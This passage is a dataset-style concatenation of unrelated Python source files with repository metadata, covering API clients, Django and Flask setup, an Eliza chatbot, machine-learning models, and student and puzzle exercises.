tc_list.append(automated_test_case_list) for item in tc_list: # manual_test_case_list: for tc in item: api_str = Defines.TR_API_ADD_RESULT + "/" + str(tc[Defines.TR_RUN_ID]) param = { Defines.TR_TC_RESULT_ELAPSED: str(elapsed), Defines.TR_TC_STATUS_ID: status_id, Defines.TR_TC_RESULT_COMMENT: comments, Defines.TR_TC_RESULT_VERSION: version } status, return_msg = self.tr_api_post(api_str, param) return status, return_msg

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import json import pytest import responses from jupiterone.client import JupiterOneClient from jupiterone.constants import CREATE_ENTITY @responses.activate def test_tree_query_v1(): def request_callback(request): headers = { 'Content-Type': 'application/json' } response = { 'data': { 'createRelationship': { 'relationship': { '_id': '1' }, 'edge': { 'id': '1', 'toVertexId': '1', 'fromVertexId': '2', 'relationship': { '_id': '1' }, 'properties': {} } } } } return (200, headers, json.dumps(response)) responses.add_callback( responses.POST, 'https://api.us.jupiterone.io/graphql', callback=request_callback, content_type='application/json', ) j1 = JupiterOneClient(account='testAccount', token='testToken') response = j1.create_relationship( relationship_key='relationship1', relationship_type='test_relationship', relationship_class='TestRelationship', from_entity_id='2', to_entity_id='1' ) assert type(response) == dict assert type(response['relationship']) == dict assert response['relationship']['_id'] == '1' assert response['edge']['toVertexId'] == '1' assert response['edge']['fromVertexId'] == '2'

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""" WSGI config for TMS project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/3.2/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'TMS.settings') application = get_wsgi_application()

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def counting(num): n=num count=0 if n==0 : print(1) else: while n: l=n%10 n=int(n/10) count+=1 print(count) counting(int(input("Enter a number : ")))

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#!/usr/bin/env python # -*- coding: utf-8 -*- import rdkit from rdkit.Chem import AllChem from rdkit import DataStructs __license__ = "X11" METADATA = { "id": "method_rdkit_ecfc6_tanimoto", "representation": "ecfc6", "similarity": "tanimoto" } def _compute_fingerprint(molecule): return AllChem.GetMorganFingerprint(molecule, 3) def _compute_similarity(left, right): return DataStructs.TanimotoSimilarity(left, right) def create_model(train_ligands, train_decoys): model = [] for molecule in train_ligands: model.append({ "name": molecule.GetProp("_Name"), "fingerprint": _compute_fingerprint(molecule) }) model_information = {} return model, model_information def compute_score(model, molecule): fingerprint = _compute_fingerprint(molecule) similarities = [_compute_similarity(fingerprint, item["fingerprint"]) for item in model] max_score = max(similarities) index_of_max_score = similarities.index(max_score) closest_molecule = model[index_of_max_score] return { "value": max_score, "info": { "closest": closest_molecule["name"] } } def compute_similarity(left, right): return _compute_similarity(_compute_fingerprint(left), _compute_fingerprint(right))

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from flask import Flask from marshmallow import Schema, fields, pre_load, validate from flask_marshmallow import Marshmallow from flask_sqlalchemy import SQLAlchemy ma = Marshmallow() db = SQLAlchemy() class User(db.Model): id = db.Column(db.Integer, primary_key=True) name = db.Column(db.String(128)) username = db.Column(db.String(128), unique=True) def __init__(self, name, username): self.username = username self.name = name def __repr__(self): return '<USER {}>'.format(self.name) class Device(db.Model): id = db.Column(db.Integer, primary_key=True) model = db.Column(db.String(75)) manufacturerID = db.Column(db.String(20), unique=True) def __init__(self, id, model, manufacturerID): self.id = id self.model = model self.manufacturerID = manufacturerID user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False) user = db.relationship('User', backref=db.backref('devices', lazy='dynamic')) class Measurement(db.Model): id = db.Column(db.Integer, primary_key=True) meas_date = db.Column(db.DateTime) event_type = db.Column(db.String(20)) manufacturerID = db.Column(db.String(20)) gluc_value = db.Column(db.Integer) insulin_value = db.Column(db.Integer) carb = db.Column(db.Float) #joins are worse than duplicated data def __init__(self, id, meas_date, event_type, manufacturerID, gluc_value, insulin_value, carb): self.id = id self.meas_date = meas_date self.event_type = event_type self.manufacturerID = manufacturerID self.gluc_value = gluc_value self.insulin_value = insulin_value self.carb = carb device_id = db.Column(db.Integer, db.ForeignKey('device.id')) device = db.relationship('Device') # backref=db.backref('devices', lazy='dynamic')) user_id = db.Column(db.Integer, db.ForeignKey('user.id')) user = db.relationship('User') # backref=db.backref('users', lazy='dynamic'))

[ "kmskelton@outlook.com" ]

kmskelton@outlook.com

e6017e8174729d1a2e020467fb7410b382ca9c2d

00b9eb134285e97a90fc416e2df4b736fcb14320

/main.py

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[]

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richmoore/very-basic

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refs/heads/master

2020-05-20T15:29:48.294263

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#!/usr/bin/python -tt from lexer import tokenize from parser import Parser from runtime import run def print_tree(tree, terminals, indent=0): """Print a parse tree to stdout.""" prefix = " "*indent if tree[0] in terminals: print prefix + repr(tree) else: print prefix + unicode(tree[0]) for x in tree[1:]: print_tree(x, terminals, indent+1) def main(filename): input = open(filename) parser = Parser() try: tree = parser.parse(tokenize(input)) #print_tree(tree, parser.terminals) run(tree) except parser.ParseErrors, e: for token, expected in e.errors: print 'Found', token, 'when', expected, 'was expected' if __name__ == '__main__': import sys filename = sys.argv[1] main(filename)

[ "rich@kde.org" ]

rich@kde.org

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/dataformat-json-jackson/src/test/resources/org/camunda/spin/python/json/tree/JsonTreeJsonPathPythonTest.shouldFailReadingElementList.py

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nibin/camunda-spin

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jsonNode = JSON(input) jsonNode.jsonPath('$.order').elementList()

[ "stefan.hentschel@camunda.com" ]

stefan.hentschel@camunda.com

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/eliza/eliza.py

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2023-04-08T03:24:50.327703

2021-04-15T18:13:36

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#---------------------------------------------------------------------- # eliza.py # # a cheezy little Eliza knock-off by Joe Strout # with some updates by Jeff Epler # hacked into a module and updated by Jez Higgins #---------------------------------------------------------------------- import string import re import random class Eliza: def __init__(self): self.keys = list(map(lambda x: re.compile(x[0], re.IGNORECASE), gPats)) self.values = list(map(lambda x: x[1], gPats)) #---------------------------------------------------------------------- # translate: take a string, replace any words found in vocabulary.keys() # with the corresponding vocabulary.values() #---------------------------------------------------------------------- def translate(self, text, vocabulary): words = text.lower().split() keys = vocabulary.keys(); for i in range(0, len(words)): if words[i] in keys: words[i] = vocabulary[words[i]] return ' '.join(words) #---------------------------------------------------------------------- # respond: take a string, a set of regexps, and a corresponding # set of response lists; find a match, and return a randomly # chosen response from the corresponding list. #---------------------------------------------------------------------- def respond(self, text): # find a match among keys for i in range(0, len(self.keys)): match = self.keys[i].match(text) if match: # found a match ... stuff with corresponding value # chosen randomly from among the available options resp = random.choice(self.values[i]) # we've got a response... stuff in reflected text where indicated pos = resp.find('%') while pos > -1: num = int(resp[pos+1:pos+2]) resp = resp[:pos] + \ self.translate(match.group(num), gReflections) + \ resp[pos+2:] pos = resp.find('%') # fix munged punctuation at the end if resp[-2:] == '?.': resp = resp[:-2] + '.' if resp[-2:] == '??': resp = resp[:-2] + '?' return resp return None #---------------------------------------------------------------------- # gReflections, a translation table used to convert things you say # into things the computer says back, e.g. "I am" --> "you are" #---------------------------------------------------------------------- gReflections = { "am" : "are", "was" : "were", "i" : "you", "i'd" : "you would", "i've" : "you have", "i'll" : "you will", "my" : "your", "are" : "am", "you've": "I have", "you'll": "I will", "your" : "my", "yours" : "mine", "you" : "me", "me" : "you" } #---------------------------------------------------------------------- # gPats, the main response table. Each element of the list is a # two-element list; the first is a regexp, and the second is a # list of possible responses, with group-macros labelled as # %1, %2, etc. #---------------------------------------------------------------------- gPats = [ [r'I need (.*)', [ "Why do you need %1?", "Would it really help you to get %1?", "Are you sure you need %1?"]], [r'Why don\'?t you ([^\?]*)\??', [ "Do you really think I don't %1?", "Perhaps eventually I will %1.", "Do you really want me to %1?"]], [r'Why can\'?t I ([^\?]*)\??', [ "Do you think you should be able to %1?", "If you could %1, what would you do?", "I don't know -- why can't you %1?", "Have you really tried?"]], [r'I can\'?t (.*)', [ "How do you know you can't %1?", "Perhaps you could %1 if you tried.", "What would it take for you to %1?"]], [r'I am (.*)', [ "Did you come to me because you are %1?", "How long have you been %1?", "How do you feel about being %1?"]], [r'I\'?m (.*)', [ "How does being %1 make you feel?", "Do you enjoy being %1?", "Why do you tell me you're %1?", "Why do you think you're %1?"]], [r'Are you ([^\?]*)\??', [ "Why does it matter whether I am %1?", "Would you prefer it if I were not %1?", "Perhaps you believe I am %1.", "I may be %1 -- what do you think?"]], [r'What (.*)', [ "Why do you ask?", "How would an answer to that help you?", "What do you think?"]], [r'How (.*)', [ "How do you suppose?", "Perhaps you can answer your own question.", "What is it you're really asking?"]], [r'Because (.*)', [ "Is that the real reason?", "What other reasons come to mind?", "Does that reason apply to anything else?", "If %1, what else must be true?"]], [r'(.*) sorry (.*)', [ "There are many times when no apology is needed.", "What feelings do you have when you apologize?"]], [r'Hello(.*)', [ "Hello... I'm glad you could drop by today.", "Hi there... how are you today?", "Hello, how are you feeling today?"]], [r'I think (.*)', [ "Do you doubt %1?", "Do you really think so?", "But you're not sure %1?"]], [r'(.*) friend (.*)', [ "Tell me more about your friends.", "When you think of a friend, what comes to mind?", "Why don't you tell me about a childhood friend?"]], [r'Yes', [ "You seem quite sure.", "OK, but can you elaborate a bit?"]], [r'(.*) computer(.*)', [ "Are you really talking about me?", "Does it seem strange to talk to a computer?", "How do computers make you feel?", "Do you feel threatened by computers?"]], [r'Is it (.*)', [ "Do you think it is %1?", "Perhaps it's %1 -- what do you think?", "If it were %1, what would you do?", "It could well be that %1."]], [r'It is (.*)', [ "You seem very certain.", "If I told you that it probably isn't %1, what would you feel?"]], [r'Can you ([^\?]*)\??', [ "What makes you think I can't %1?", "If I could %1, then what?", "Why do you ask if I can %1?"]], [r'Can I ([^\?]*)\??', [ "Perhaps you don't want to %1.", "Do you want to be able to %1?", "If you could %1, would you?"]], [r'You are (.*)', [ "Why do you think I am %1?", "Does it please you to think that I'm %1?", "Perhaps you would like me to be %1.", "Perhaps you're really talking about yourself?"]], [r'You\'?re (.*)', [ "Why do you say I am %1?", "Why do you think I am %1?", "Are we talking about you, or me?"]], [r'I don\'?t (.*)', [ "Don't you really %1?", "Why don't you %1?", "Do you want to %1?"]], [r'I feel (.*)', [ "Good, tell me more about these feelings.", "Do you often feel %1?", "When do you usually feel %1?", "When you feel %1, what do you do?"]], [r'I have (.*)', [ "Why do you tell me that you've %1?", "Have you really %1?", "Now that you have %1, what will you do next?"]], [r'I would (.*)', [ "Could you explain why you would %1?", "Why would you %1?", "Who else knows that you would %1?"]], [r'Is there (.*)', [ "Do you think there is %1?", "It's likely that there is %1.", "Would you like there to be %1?"]], [r'My (.*)', [ "I see, your %1.", "Why do you say that your %1?", "When your %1, how do you feel?"]], [r'You (.*)', [ "We should be discussing you, not me.", "Why do you say that about me?", "Why do you care whether I %1?"]], [r'Why (.*)', [ "Why don't you tell me the reason why %1?", "Why do you think %1?" ]], [r'I want (.*)', [ "What would it mean to you if you got %1?", "Why do you want %1?", "What would you do if you got %1?", "If you got %1, then what would you do?"]], [r'(.*) mother(.*)', [ "Tell me more about your mother.", "What was your relationship with your mother like?", "How do you feel about your mother?", "How does this relate to your feelings today?", "Good family relations are important."]], [r'(.*) father(.*)', [ "Tell me more about your father.", "How did your father make you feel?", "How do you feel about your father?", "Does your relationship with your father relate to your feelings today?", "Do you have trouble showing affection with your family?"]], [r'(.*) child(.*)', [ "Did you have close friends as a child?", "What is your favorite childhood memory?", "Do you remember any dreams or nightmares from childhood?", "Did the other children sometimes tease you?", "How do you think your childhood experiences relate to your feelings today?"]], [r'(.*)\?', [ "Why do you ask that?", "Please consider whether you can answer your own question.", "Perhaps the answer lies within yourself?", "Why don't you tell me?"]], [r'quit', [ "Thank you for talking with me.", "Good-bye.", "Thank you, that will be $150. Have a good day!"]], [r'(.*)', [ "Please tell me more.", "Let's change focus a bit... Tell me about your family.", "Can you elaborate on that?", "Why do you say that %1?", "I see.", "Very interesting.", "%1.", "I see. And what does that tell you?", "How does that make you feel?", "How do you feel when you say that?"]] ] #---------------------------------------------------------------------- # command_interface #---------------------------------------------------------------------- '''def command_interface(): print('Therapist\n---------') print('Talk to the program by typing in plain English, using normal upper-') print('and lower-case letters and punctuation. Enter "quit" when done.') print('='*72) print('Hello. How are you feeling today?') s = '' therapist = Eliza(); while s != 'quit': try: s = input('> ') except EOFError: s = 'quit' print(s) while s[-1] in '!.': s = s[:-1] print(therapist.respond(s)) '''

[ "ferri.fc@gmail.com" ]

ferri.fc@gmail.com

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anton1k/mfti-homework

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2020-07-18T23:41:11.473608

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# Последовательность состоит из натуральных чисел и завершается числом 0. Всего вводится не более 10000 чисел (не считая завершающего числа 0). Определите, сколько элементов этой последовательности равны ее наибольшему элементу. Числа, следующие за числом 0, считывать не нужно. d = 0 s = 0 while True: x = int(input()) if x == 0: break if x > d: d, s = x, 1 elif x == d: s += 1 print(s)

[ "40913464+anton1k@users.noreply.github.com" ]

40913464+anton1k@users.noreply.github.com

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/scripts/poller_config.py

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no_license

thetherington/SDVN-IPG-Link-Monitor

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refs/heads/master

2023-06-27T15:14:43.010344

2021-07-30T14:12:18

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import json from edge_port import EdgeCollector from insite_plugin import InsitePlugin class Plugin(InsitePlugin): def can_group(self): return False def fetch(self, hosts): try: self.collector except Exception: # from ThirtyRock_PROD_edge_def import return_reverselookup params = { # "dual_hot": True, # "annotate_db": return_reverselookup(), "magnum_cache": { "insite": "127.0.0.1", "nature": "mag-1", "cluster_ip": hosts[-1], "ipg_matches": ["570IPG-X19-25G", "SCORPION", "3067VIP10G-3G"], }, } self.collector = EdgeCollector(**params) return json.dumps(self.collector.collect)

[ "thomas@hetheringtons.org" ]

thomas@hetheringtons.org

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/seq2seq/bert_relation_extraction.py

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ElderWanng/BERTS2S

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refs/heads/master

2023-03-19T09:46:23.613734

2021-03-19T08:02:33

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## bert 关系抽取模型 import torch import torch.nn as nn from seq2seq.BS2S_tokenizer import load_chinese_base_vocab, Tokenizer from seq2seq.basic_bert import BasicBert class BertRelationExtrac(BasicBert): """ """ def __init__(self, word2ix, predicate_num, model_name="roberta"): super(BertRelationExtrac, self).__init__() self.predicate_num = predicate_num config = "" if model_name == "roberta": from seq2seq.model.roberta_model import BertModel, BertConfig, BertPredictionHeadTransform, BertLayerNorm config = BertConfig(len(word2ix)) self.bert = BertModel(config) self.layer_norm = BertLayerNorm(config.hidden_size) self.layer_norm_cond = BertLayerNorm(config.hidden_size, conditional=True) elif model_name == "bert": from seq2seq.model.bert_model import BertConfig, BertModel, BertPredictionHeadTransform, BertLayerNorm config = BertConfig(len(word2ix)) self.bert = BertModel(config) self.layer_norm = BertLayerNorm(config.hidden_size) self.layer_norm_cond = BertLayerNorm(config.hidden_size, conditional=True) else : raise Exception("model_name_err") self.subject_pred = nn.Linear(config.hidden_size, 2) self.activation = nn.Sigmoid() self.object_pred = nn.Linear(config.hidden_size, 2 * self.predicate_num) def binary_crossentropy(self, labels, pred): labels = labels.float() loss = (-labels) * torch.log(pred) - (1.0 - labels) * torch.log(1.0 - pred) return loss def compute_total_loss(self, subject_pred, object_pred, subject_labels, object_labels): """ 计算loss """ subject_loss = self.binary_crossentropy(subject_labels, subject_pred) subject_loss = torch.mean(subject_loss, dim=2) subject_loss = (subject_loss * self.target_mask).sum() / self.target_mask.sum() object_loss = self.binary_crossentropy(object_labels, object_pred) object_loss = torch.mean(object_loss, dim=3).sum(dim=2) object_loss = (object_loss * self.target_mask).sum() / self.target_mask.sum() return subject_loss + object_loss def extrac_subject(self, output, subject_ids): ## 抽取subject的向量表征 batch_size = output.shape[0] hidden_size = output.shape[-1] start_end = torch.gather(output, index=subject_ids.unsqueeze(-1).expand((batch_size, 2, hidden_size)), dim=1) subject = torch.cat((start_end[:, 0], start_end[:, 1]), dim=-1) return subject def forward(self, text, subject_ids, position_enc=None, subject_labels=None, object_labels=None, use_layer_num=-1): if use_layer_num != -1: if use_layer_num < 0 or use_layer_num > 7: # 越界 raise Exception("层数选择错误，因为bert base模型共8层，所以参数只只允许0 - 7，默认为-1，取最后一层") # 计算target mask text = text.to(self.device) subject_ids = subject_ids.to(self.device) self.target_mask = (text > 0).float() enc_layers, _ = self.bert(text, output_all_encoded_layers=True) squence_out = enc_layers[use_layer_num] sub_out = enc_layers[-1] subject_pred_out = self.subject_pred(squence_out) subject_pred_act = self.activation(subject_pred_out) # subject_pred_act = subject_pred_act**2 subject_vec = self.extrac_subject(sub_out, subject_ids) object_layer_norm = self.layer_norm_cond([sub_out, subject_vec]) object_pred_out = self.object_pred(object_layer_norm) object_pred_act = self.activation(object_pred_out) # object_pred_act = object_pred_act**4 batch_size, seq_len, target_size = object_pred_act.shape object_pred_act = object_pred_act.reshape((batch_size, seq_len, int(target_size/2), 2)) predictions = object_pred_act if subject_labels is not None and object_labels is not None: ## 计算loss subject_labels = subject_labels.to(self.device) object_labels = object_labels.to(self.device) loss = self.compute_total_loss(subject_pred_act, object_pred_act, subject_labels, object_labels) return predictions, loss else : return predictions def predict_subject(self, text,use_layer_num=-1, device="cpu"): if use_layer_num != -1: if use_layer_num < 0 or use_layer_num > 7: # 越界 raise Exception("层数选择错误，因为bert base模型共8层，所以参数只只允许0 - 7，默认为-1，取最后一层") text = text.to(self.device) self.target_mask = (text > 0).float() enc_layers, _ = self.bert(text, output_all_encoded_layers=True) squence_out = enc_layers[use_layer_num] sub_out = enc_layers[-1] # transform_out = self.layer_norm(squence_out) subject_pred_out = self.subject_pred(squence_out) subject_pred_act = self.activation(subject_pred_out) # subject_pred_act = subject_pred_act**2 # subject_pred_act = (subject_pred_act > 0.5).long() return subject_pred_act def predict_object_predicate(self, text, subject_ids, use_layer_num=-1, device="cpu"): if use_layer_num != -1: if use_layer_num < 0 or use_layer_num > 7: # 越界 raise Exception("层数选择错误，因为bert base模型共8层，所以参数只只允许0 - 7，默认为-1，取最后一层") # 计算target mask text = text.to(self.device) subject_ids = subject_ids.to(self.device) enc_layers, _ = self.bert(text, output_all_encoded_layers=True) squence_out = enc_layers[use_layer_num] sub_out = enc_layers[-1] subject_vec = self.extrac_subject(sub_out, subject_ids) object_layer_norm = self.layer_norm_cond([sub_out, subject_vec]) object_pred_out = self.object_pred(object_layer_norm) object_pred_act = self.activation(object_pred_out) # object_pred_act = object_pred_act**4 batch_size, seq_len, target_size = object_pred_act.shape object_pred_act = object_pred_act.view((batch_size, seq_len, int(target_size/2), 2)) predictions = object_pred_act return predictions

[ "twang650@gatech.edu" ]

twang650@gatech.edu

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CSCATT/py111_exm

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2021-01-16T01:46:00.413026

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import networkx as nx def finder(graph, str, visited): visited[str] = True print("visited: ---> ", visited, "\n") print(str, graph.adj[str]) "Проход по графу" for node in graph.adj[str]: if not visited[node]: # if not visited finder(graph, node, visited) return None if __name__ == "__main__": graph = nx.Graph() graph.add_nodes_from("ABCDEFGHJKL") graph.add_edges_from([('A', 'B'), ('B', 'C'), ('C', 'D'), ('F', 'G'), ('G', 'H'), #*тестовые строки ('J', 'K'), #* ('K', 'L')]) #* visited = {node: False for node in graph.nodes()} num = 0 for node in graph.adj: if not visited[node]: # if not visited finder(graph, node, visited) num += 1 print("-----") print(num)

[ "x2g.tillo.g@inbox.ru" ]

x2g.tillo.g@inbox.ru

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wangye8899/Fully_Convolutional_Network_Time_Series

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2020-07-05T02:34:07.104037

2019-11-02T02:28:56

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import tensorflow as tf import configparser import os import random import numpy as np from model256 import model_ from batch_read256 import read_csv_,TFRecordReader file = './config/parameter_256_3_5.ini' # 读取配置文件 def read_config(file): cf = configparser.ConfigParser() cf.read(file) learning_rate = cf.getfloat('model','learning_rate') training_steps = cf.getint('model','train_steps') batch_size = cf.getint('model','batch_size') display_step = cf.getint('model','display_step') test_steps = cf.getint('model','test_steps') num_input = cf.getint('model','num_input') num_hidden = cf.getint('model','num_hidden') num_classes = cf.getint('model','num_classes') timesteps = cf.getint('model','timesteps') epoch_num = cf.getint('model','epoch_num') Is_Vali = cf.getint('model','Is_Vali') train_file = cf.get('file','train_file') test_file = cf.get('file','test_file') val_file = cf.get('file','val_file') model_file = cf.get('file','model_file') test_file_path = cf.get('file','data_file_path') plot_train_step = cf.getint('model','plot_train_steps') strides = cf.getint('model','strides') num_channels = cf.getint('model','num_channels') model_file = cf.get('file','model_file') return num_hidden, strides,num_channels,num_input,learning_rate,train_file,epoch_num,training_steps,batch_size,display_step,num_classes,Is_Vali,val_file,plot_train_step,model_file # 返回值 num_hidden,strides,num_channels,num_input,learning_rate,train_file,epoch_num,training_steps,batch_size ,display_step,num_classes,Is_Vali,val_file,plot_train_step,model_file= read_config(file) init = tf.keras.initializers.he_uniform() weights={ 'conv1':tf.Variable(init([7,1,128])), 'conv2':tf.Variable(init([5,128,256])), 'conv3':tf.Variable(init([3,256,128])), 'out':tf.Variable(init([2*num_hidden,2])) } biases ={ 'conv1':tf.Variable(init([128])), 'conv2':tf.Variable(init([256])), 'conv3':tf.Variable(init([128])), 'out':tf.Variable(init([2])) } # 定义输入data、label X_CNN = tf.placeholder(tf.float32,[None,30,1],name='X') X_LSTM = tf.placeholder(tf.float32,[None,256,30],name='X_') Y = tf.placeholder(tf.float32,[None,num_classes],name='Y') # 定义loss和优化函数 model_ = model_(X_CNN,X_LSTM,num_hidden,weights,biases) logits = model_.modeling() prediction = tf.nn.softmax(logits) # 计算损失 loss_op = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(logits=logits,labels=Y)) # 定义优化函数 optimizer = tf.train.AdamOptimizer(learning_rate=learning_rate) train_process = optimizer.minimize(loss_op) # 定义准确率 acc = tf.reduce_mean(tf.cast(tf.equal(tf.argmax(prediction,1),tf.argmax(Y,1)),tf.float32)) # 保存模型 meraged = tf.summary.merge_all() tf.add_to_collection('loss',loss_op) tf.add_to_collection('accuracy',acc) tf.add_to_collection('prediction',prediction) sess = tf.Session() # 初始化变量 init = tf.global_variables_initializer() # tf.get_default_graph().finalize() data,label,_ = TFRecordReader(train_file,0) label = tf.cast(label,tf.int32) label = tf.one_hot(label,2) data = tf.reshape(data,[5000,256,30]) val_data , val_label,_ = TFRecordReader(val_file,0) val_data = val_data[:20] val_label = val_label[:20] val_label = tf.cast(val_label,tf.int32) val_label = tf.one_hot(val_label,2) val_label = tf.reshape(val_label,[20*256,2]) val_data_cnn = tf.reshape(val_data,[20*256,num_input,1]) val_data_lstm = tf.reshape(val_data,[20,256,num_input]) with tf.Session() as sess: count = 0 temp_acc = 0 sess.run(init) # 读取数据，调整shape，保证输入无误 data = sess.run(data) label = sess.run(label) val_data_cnn_ = sess.run(val_data_cnn) val_label_ = sess.run(val_label) val_data_lstm_ = sess.run(val_data_lstm) for epoch in range(epoch_num): print("Epoch"+str(epoch)) for step in range(1,training_steps+1): # 每次随机选一个csv训练 random_index = random.randint(0,4999) batch_data = data[random_index] batch_label = label[random_index] batch_data_cnn = np.reshape(batch_data,[batch_size*256,num_input,1]) batch_data_lstm = np.reshape(batch_data,[batch_size,256,num_input]) batch_label = np.reshape(batch_label,[batch_size*256,2]) # 训练 sess.run(train_process,feed_dict={X_CNN:batch_data_cnn,X_LSTM:batch_data_lstm,Y:batch_label}) # 计算损失和准确率 loss,accu = sess.run([loss_op,acc],feed_dict={X_CNN:batch_data_cnn,X_LSTM:batch_data_lstm,Y:batch_label}) # 输出 if step%display_step==0: print("Step " + str(step) + ", Minibatch Loss= " + \ "{:.4f}".format(loss) + ", Training Accuracy= " + \ "{:.3f}".format(accu)) #每结束一轮epoch，便开始使用验证集验证 Val_loss,Val_acc = sess.run([loss_op,acc],feed_dict={X_CNN:val_data_cnn_,X_LSTM:val_data_lstm_,Y:val_label_}) if epoch==0: temp_loss = Val_loss else: if (Val_loss-temp_loss) < 0: # 说明损失仍然在下降 print("loss改善:"+str(temp_loss)+"--->"+str(Val_loss)+"||"+"学习率:"+str(learning_rate)) temp_loss = Val_loss else: # 说明经过一个epoch之后模型并没有改善 count+=1 print("loss未改善:"+str(count)+"次"+"--->"+str(Val_loss)) if Val_acc>temp_acc: # temp_loss = Val_loss tf.train.Saver().save(sess,model_file+'model') else: pass print("validation acc"+"{:.4f}".format(Val_acc)+"validation loss"+"{:.4f}".format(Val_loss))

[ "3091485316@qq.com" ]

3091485316@qq.com

30a1390b789e4bd86190b477b462d67108f7a4a3

e1857e582609640f60923ea461da3e84c498095a

/block2-datatypes/numbers/number-demo.py

671907978a108eb946e216b4c5cc6293cf1ca1c1

[]

no_license

mbaeumer/python-challenge

178f188004e66c5c4092af51ae5d496679d39dec

4cff4a4939268a496117158b0be4e20f4d934213

refs/heads/master

2023-08-07T22:43:35.490777

2023-07-21T21:26:46

75,015,661

0

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UTF-8

Python

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2,063

py

#!/usr/bin/python from decimal import Decimal from decimal import DecimalException import random def get_user_input(): answer = "" while answer == "": answer = input("Please enter a number: ") return answer def convert_to_int(s): try: print(int(s)) except ValueError: print("Cannot convert to int") def convert_to_float(s): try: print(float(s)) except ValueError: print("Cannot convert to float") def convert_to_decimal(s): try: print(Decimal(s)) except DecimalException: print("Cannot convert to Decimal") def determine_type(answer): return type(answer) # showing difference in precision of float vs decimal def diff_decimal_float(): print("Difference between Decimal and float") x = Decimal("0.1") y = float("0.1") print(f"{x:.20f}") print(f"{y:.20f}") def calc_with_decimals(): print("Calculating with decimals") x = Decimal(34) y = Decimal(7) z = x / y print(f"{z:.20f}") def calc_with_floats(): print("Calculating with floats") a = 34 b = 7 c = a/b print(f"{c:.20f}") def format_number(number): print("Formatting alternatives") print("{:.2f}".format(number)) print("{:+.2f}".format(number)) print("{:.0f}".format(number)) print("{:0>2d}".format(5)) print("{:,}".format(1000000)) print("{:.2%}".format(number)) print("{:.2e}".format(number)) print("{:10d}".format(50)) print("{:<10d}".format(50)) print("{:^10d}".format(50)) def generate_random_numbers(): random1 = random.randint(1,6) # 1..6 random2 = random.randrange(6) # 0..5 print("Generating random numbers") print("With randint: ", random1) print("With randrange: ", random2) def operators_for_ints(): a = 5 b = 2 print("5/2 = %d" % (a/b)) print("5%%2 = %d" % (a%b)) print("5//2 = %d" % (a//b)) answer = get_user_input() print(type(answer)) convert_to_int(answer) convert_to_float(answer) convert_to_decimal(answer) diff_decimal_float() calc_with_decimals() calc_with_floats() format_number(34/7) generate_random_numbers() operators_for_ints() # TODO: # currency

[ "martin.baeumer@gmail.com" ]

martin.baeumer@gmail.com

6e7957bb1f333a3da864d18a81ae420ab74e4ffa

f19c5436c7173835a3f1d064541ee742178e213a

/mah/Programmers/메뉴 리뉴얼.py

20b5a552218aadd52b2828f25d2f9f8a092c26d5

[]

no_license

hongsungheejin/Algo-Study

f1c521d01147a6f74320dbc8efe3c1037e970e73

d6cb8a2cc6495ccfcfb3477330a3af95895fae32

refs/heads/main

2023-07-06T10:58:27.258128

2021-07-29T02:11:13

379,269,918

2

0

null

UTF-8

Python

false

914

py

from itertools import combinations def solution(orders, course): candi = {} course = set(course) for order in orders: order = sorted(order) for i in range(2, len(order)+1): for combi in combinations(order, i): combi = "".join(combi) if combi in candi: candi[combi] += 1 else: candi[combi] = 1 answer = [] candis = {k:v for k, v in sorted(candi.items(), key=lambda x: (len(x[0]), x[1])) if v>=2} for c in course: tmp = {} max_v = 0 for k, v in sorted(candis.items(), key=lambda x:x[0]): if len(k) == c: max_v = max(max_v, v) if v in tmp: tmp[v].append(k) else: tmp[v] = [k] if max_v in tmp: answer.extend(tmp[max_v]) return sorted(answer)

[ "mai.hong0924@gmail.com" ]

mai.hong0924@gmail.com

f2942c7cf18c1edb7f563ce2408bde73246dbeb1

ada7983995e346c8c676d0bbe5ed2397ff54b930

/day14/day14-part1.py

451c7c5344789dfa26f143c5012eba98666b0c06

[]

no_license

hergin/AdventOfCode2020

4dc54e31308ae8584407f5c0917bcdb2f0aa44fa

e700d5bc15d689cc6c22e37d9a6170649901b3b0

refs/heads/master

2023-02-09T02:47:15.922678

2020-12-24T03:30:31

321,268,210

0

null

UTF-8

Python

false

986

py

import os, sys, math def applyMask(value,mask): maskedValue = 0 tempValue = value for i in range(0,len(mask)): maskedValue *= 2 twoPowerI = 2**(35-i) if mask[i] == '1': maskedValue += 1 elif mask[i] == 'X': if tempValue >= twoPowerI: maskedValue += 1 if tempValue >= twoPowerI: tempValue -= twoPowerI return maskedValue currentMask = "" memory = {} for line in open(os.path.join(sys.path[0], "input14.txt")): values = line.strip().split(' ') if values[0] == "mask": currentMask = values[2] else: memoryIndex = int(values[0][4:][:-1]) value = int(values[2]) valueAfterMask = applyMask(value, currentMask) memory[memoryIndex] = valueAfterMask print("mask:",currentMask,"memoryIndex:",memoryIndex,"value:",value,"maskedValue:",valueAfterMask) #print(memory) print("Result",sum(memory.values()))

[ "hergin@bsu.edu" ]

hergin@bsu.edu

632b5d2161af536c55b014590d765fb51b0d4cce

6d3b34e64e3ee6bdcdabbf6aad8aa3da3ef080e9

/New Workspace/multithreading/usingsubclass.py

cf1535d211d7aa66869c0d5422314a74b016fb61

[]

no_license

himani1213/SpringMicroservices

15a9c84dc9a9309b1a47af74f39b34a708b228f2

2a62068374602da1d7d5f98afc1c62c60ba560ed

refs/heads/master

2020-09-27T01:20:43.149587

2020-02-28T15:15:35

226,388,197

0

null

UTF-8

Python

false

183

py

from threading import Thread class MyThread(Thread): def run(self): i = 0 while(i<=10): print(i) i+=1 t= MyThread() t.start()

[ "hsingl34@in.ibm.com" ]

hsingl34@in.ibm.com

7358f4249de375c62f19800234d1ccfa24c2fa5c

000dcb0cf680486fd3c2f7afad0dd7935e2b8a36

/finance/stocks.py

a05e65142cf900790aad702c5367b1dac1064d4d

[]

no_license

arnoldas500/machineLearning

d51419a10a1bbad8cd8acb15225e52d01d4cd176

73124d7a9a7831f5f567142e2362e6ae9413d871

refs/heads/master

2021-09-03T01:43:52.567755

2018-01-04T16:41:40

103,578,945

0

null

UTF-8

Python

false

3,413

py

